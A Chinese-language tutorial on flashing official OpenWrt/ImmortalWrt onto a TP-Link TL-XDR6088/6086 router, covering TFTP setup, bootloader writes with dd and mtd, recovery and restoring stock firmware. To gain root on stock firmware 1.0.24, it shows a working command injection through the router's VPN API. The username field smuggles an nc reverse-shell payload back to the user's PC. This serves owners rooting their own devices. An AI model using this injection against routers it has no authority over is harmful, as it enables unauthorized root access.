TL-XDR6088/6086 刷入官方 Openwrt/Immortalwrt

网络上已经有不少文章、视频教程讲 TL-XDR6088/6086 如何刷 openwrt,但全都是刷的L改版,而非官方版。由于官方采用了不同分区格式和 uboot 版本的镜像,刷写的方法有很大区别,还没有人完整地记录过。

官方版 Openwrt 对新硬件的支持有时候是更好的,获取固件也更灵活方便。而且,官方版全部是符合 GPL 的开源代码,社区支持也更好。

我手里这台是 TL-XDR6088,如果是 TL-XDR6086,自己操作的时候对应好型号和文件名就行,其余都是一样的。

截至本文写作时,原厂固件版本为 1.0.24 依然可以利用下面所说的 root 方法。将来更高版本可能不保证。

不需要螺丝刀,更不需要 TTL 串口,只需要一台可以连接网线的电脑。

注意事项:

  • 建议先将路由器还原为出厂设置,避免因为设置不同导致的影响
  • 将网线插在路由器的 1Gb 口上,另一头直连电脑。手动设置 IP 地址为 192.168.1.254,网关地址 192.168.1.1,子网掩码 255.255.255.0 —— 这里很重要,这是官方 openwrt uboot 的 tftp server 地址设置
  • 如果你使用的是 Windows,那么强烈建议你先安装好 WSL
  • 胆大心细,最重要的是心细,特别是你输入 dd 命令覆写 uboot 的时候,如果错了,就只能送修了。别的步骤都是可逆的,可以胆大

0. 下载镜像文件

首先当然是下载镜像文件。你可以选择官方的,或者跟我一样,选择针对中国大陆用户做过特别优化的 Immortalwrt。4个文件要全部下载,放在同一个文件夹中,下面的步骤会用到。

本文写作时,最新的是 23.05.0-rc3 版。将来请用更新的稳定版本。

目前 Immortalwrt 已经支持:

  • 双 2.5Gb 网口的正常驱动(但LED灯还不亮)
  • WiFi6 160Mhz
  • 硬件流量分载
  • WED (Wireless Ethernet Dispatch) 无线加速
  • 硬件 NAT 加速
  • Fullcone NAT

该有的都有了,当然 bug 也可能遇到。

1. 准备 TFTP 服务器

不要忘了把 TFTP 服务器的目录设为之前下载 Openwrt 镜像文件的目录。整个过程中,你需要一直保持 TFTP 服务器的运行,直到成功刷入镜像。

你可以参考官方Wiki给出的诸多方法。我简要总结最简单的方式:

如果使用 Windows 11,需要以下的额外步骤确保 TFTPD64 能够为 uboot 所用。

  1. 关闭 media sensing 功能,这样在连接到电脑的设备重启时,才不会断连。否则之后在 uboot 阶段无法传输 recovery 镜像。需要管理员权限的终端。

    netsh interface ipv4 set global dhcpmediasense=disabled
    netsh interface ipv6 set global dhcpmediasense=disabled
  2. 第一次运行 tftpd64 时,Windows 防火墙可能会问你是否允许,要同时勾选公共和专用网络上都允许,通常这样就可以了。你也可以在管理员权限的终端中为所有TFTP应用打开防火墙端口:

    netsh advfirewall firewall add rule name="TFTP" dir=in action=allow     protocol=udp localport=69 remoteip=localsubnet interfacetype=lan profile=private,public  

2. 获取 root 权限

2.1 如果路由器是原厂固件

以下方法感谢南浦月

  1. 安装 nmap,我们主要是要用到里面的 ncat

  2. 打开一个终端窗口,运行 ncat -nvlp 4444,开始侦听

  3. 按 F12 打开浏览器调试控制台,找到形如 http://192.168.1.1/stok=<stok值>/ds 的 URL,chrome 浏览器的话,在“网络”标签页找到“名称”是 “ds” 的请求,单击它,然后在右侧窗口单击“标头”就可以看到了

  4. 接下来,如果你是用的 Windows,在 WSL 终端里进行以下操作。而 Linux 或 macOS 的终端本身可以直接操作

  5. 先把 stok 存入环境变量

    export stok=<stok值>
  6. 然后运行以下命令

    curl http://192.168.1.1/stok=${stok}/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"table":"user","name":"user_1","para":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.254 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"0"}},"method":"add"}'  

    如果成功运行,则会返回 {"error_code":0}

  7. 继续运行以下命令

    curl http://192.168.1.1/stok=${stok}/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"user_1":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.254 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"1"}},"method":"set"}'

    如果成功运行,则会返回 {"error_code":0}

    此时,在步骤2中打开的终端窗口中,你应该会看到如下提示:

    sh: can't access tty; job control turned off
    BusyBox v1.19.4 (2022-07-20 12:29:22 UTC) built-in shell (ash)
    Enter 'help' for a list of built-in commands.
    
    / #

    这就成功地开启了具有 root 权限的控制台命令行提示符了。

  8. 如果想要重新启用这个控制台,你可以先重复步骤2,然后再把步骤8中的末尾 "block":"1" 改成 "block":"0" ,运行一下。然后再重复步骤8即可。

2.2 如果路由器已经刷了其它版本的 Openwrt

  1. ssh 到 Openwrt 的控制台
  2. 打开mtd写入(如果是L改版固件,这一步或可省)
opkg update
opkg install kmod-mtd-rw
insmod mtd-rw i_want_a_brick=1

3. 传输 uboot 镜像

在这之前,先备份路由器的原厂固件,将来才能恢复。(逐条执行,小心一点,非原厂固件可跳过)

dd if=/dev/mtdblock9 of=/tmp/backup.img bs=131072
tftp -p -l /tmp/backup.img -r backup.img 192.168.1.254
md5sum /tmp/backup.img

最后一条命令是计算文件的 md5 值。在 TFTP 服务器收到文件后,也要在电脑上检查一下,确保两者一致。如果使用的是 Windows 电脑可以运行 certutil -hashfile 文件名 md5 来计算。在下面的步骤中,也建议你在通过 TFTP 传输了文件后检查两边的 md5 值是否相同,确保万无一失。毕竟,接下来的步骤出错会导致路由器变砖,必须拆芯片维修。

如果你用的非原厂固件,可能需要先通过 opkg 安装一下 tftp 软件包。

先把 uboot 文件传输过去:

tftp -g -l /tmp/preloader.bin -r immortalwrt-23.05.0-rc3-mediatek-filogic-tplink_tl-xdr6088-preloader.bin 192.168.1.254
tftp -g -l /tmp/bl31-uboot.fip -r immortalwrt-23.05.0-rc3-mediatek-filogic-tplink_tl-xdr6088-bl31-uboot.fip 192.168.1.254

传输完了先检查 md5,没问题就进行写入。

4. 写入 uboot

这时候你可以播放一首 Michael Jackson 的 Dangerous 作为背景音乐。

4.1 如果路由器是原厂固件

以下命令一定不能调换顺序,不然你将收获一块砖。

dd bs=131072 conv=sync of=/dev/mtdblock9 if=/tmp/preloader.bin
dd bs=131072 conv=sync of=/dev/mtdblock9 seek=28 if=/tmp/bl31-uboot.fip

正常的运行结果是(xyab是数字)

x+y records in
a+b records out

如果中途有什么错误发生了,请深呼吸一口,然后重新依次运行一遍。

4.2 如果路由器已经刷了其它版本的 Openwrt

在 Openwrt 中运行

cat /proc/mtd

得到mtd设备的真实命名,再用命令来写入(将下面的BL2或FIP改成你在上面看到的名字,注意大小写)

md5sum /tmp/preloader.bin
mtd erase BL2
mtd write /tmp/preloader.bin BL2
mtd verify /tmp/preloader.bin BL2

md5sum /tmp/bl31-uboot.fip
mtd erase FIP
mtd write /tmp/bl31-uboot.fip FIP
mtd verify /tmp/bl31-uboot.fip FIP

注意查看上传的两个文件 md5 并和本地文件对比,查看两次 mtd verify 最后是否输出输出 Success,没问题才可进行下一步。

5. 通过 tftp 载入 recovery 镜像

这时候你可以拔掉路由器的电源,然后插上。直接拔电源可能是最安全的,因为如果你用 reboot 命令,可能会有一些后台程序运行(包括可能你之前在慌乱中没有杀掉的误操作了的 dd)导致路由器变砖。别问我是怎么知道的。

此时 tftp 服务器上应该已经有提示了,路由器在请求的文件名为 openwrt-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb 。你只需要把结尾为 recovery.itb 的文件,改名为这个就行了。

如果没动静,你可以拔下电源,然后顶住 reset 孔不放,同时插入电源,应该会看到 LAN 口的灯齐闪一下。大约10秒钟,应该就会进入 recovery 模式。确保网线插在 1Gb LAN 口上,网口的灯应该会亮的。

很快就会传输完成,下面是 Windows 上的 tftpd64 的文件报错,和改名后成功传输的截图。

屏幕截图 2023-07-29 154846.png

6. 刷入 sysupgrade 镜像

在接收了 recovery 镜像后,路由器会马上启动 openwrt,这时候你在浏览器中输入网址 192.168.1.1 应该就可以打开 openwrt 的网页端了。

根据提示,在网页中上传 sysupgrade.itb 镜像文件,进行刷入。然后就大功告成了。

但这还不是结束,6088/6086 的硬件性能想要充分发挥,还需要进行一些优化设置。下一篇再记录。

7. 如何刷回原厂固件

前提是你有原厂固件的备份镜像。

方法参考

  1. 将备份的文件传到Openwrt的tmp目录
  2. 打开mtd写入(如果是L改版固件,这一步或可省)
opkg update
opkg install kmod-mtd-rw
insmod mtd-rw i_want_a_brick=1
  1. 上传backup.img到/tmp,之后拆分备份文件。
dd if=/tmp/backup.img of=/tmp/backup-mtd0.img bs=131072 count=8
  1. mtd命令写入mtd0分区,之后断电重启就会进入tp恢复模式,刷入tp官网固件即可。注意不要刷入高于1.0.24版本的固件。
mtd write /tmp/backup-mtd0.img /dev/mtd0

刷入Openwrt或者回原厂全程没有修改factory分区,无需担心mac地址或者无线信号受到影响。

All rights reserved
Except where otherwise noted, content on this page is copyrighted.